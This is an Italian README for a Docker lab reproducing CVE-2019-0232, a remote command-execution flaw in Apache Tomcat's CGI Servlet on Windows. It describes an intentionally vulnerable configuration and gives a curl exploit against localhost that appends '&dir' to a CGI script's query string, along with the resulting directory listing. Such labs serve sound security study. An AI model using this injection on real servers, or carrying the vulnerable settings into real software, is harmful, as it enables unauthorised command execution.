CVE-2019-0232 - Apache Tomcat CGI Servlet Esecuzione Remota di Codice

Questo repository fornisce un ambiente di laboratorio basato su Docker per riprodurre la vulnerabilità CVE-2019-0232 in Apache Tomcat 9.0.17 su Windows.

Panoramica della Vulnerabilità

CVE-2019-0232 è una vulnerabilità di esecuzione remota di codice nel CGI Servlet di Apache Tomcat in esecuzione su Windows. Il problema deriva da una gestione impropria degli argomenti della riga di comando quando il parametro enableCmdLineArguments è impostato a true. Un attaccante può passare argomenti arbitrari allo script CGI tramite la query string, portando all'esecuzione di comandi di sistema.

• Versioni affette: Apache Tomcat 9.0.0.M1 a 9.0.17
• Versioni corrette: 9.0.18 e successive
• Condizioni necessarie:
  • Sistema operativo Windows
  • enableCmdLineArguments=true nella configurazione del CGI Servlet
  • CGI Servlet abilitato e mappato a un pattern URL

Ambiente di Laboratorio

Struttura delle Directory

tomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
	├── apache-tomcat-9.0.17-windows-x64.zip
    └── apache-tomcat-9.0.17
        ├── conf
        │   └── context.xml              ← (privileged="true")
        └── webapps
            └── ROOT
                └── WEB-INF
                    ├── web.xml           ← (CGI configuration)
                    └── cgi-bin
                        └── test.bat      ← (.bat script)

File di Configurazione

• context.xml: Imposta privileged="true" per consentire all'applicazione web di utilizzare il CGI Servlet.
• web.xml: Definisce il CGI Servlet con enableCmdLineArguments=true e lo mappa a /cgi-bin/*.
• test.bat: Un semplice script batch che restituisce un messaggio di benvenuto.

Per Iniziare

Prerequisiti

• Docker (modalità contenitori Windows)
• Docker Compose

Build ed Esecuzione

docker-compose build --no-cache
docker-compose up -d

Sfruttamento

curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"

Welcome to CGI Test Page
 Volume in drive C has no label.
 Volume Serial Number is 3E70-7C38

 Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin

07/12/2026  11:45 AM    <DIR>          .
07/12/2026  11:45 AM    <DIR>          ..
07/12/2026  12:25 PM                78 test.bat
               1 File(s)             78 bytes
               2 Dir(s)  136,027,971,584 bytes free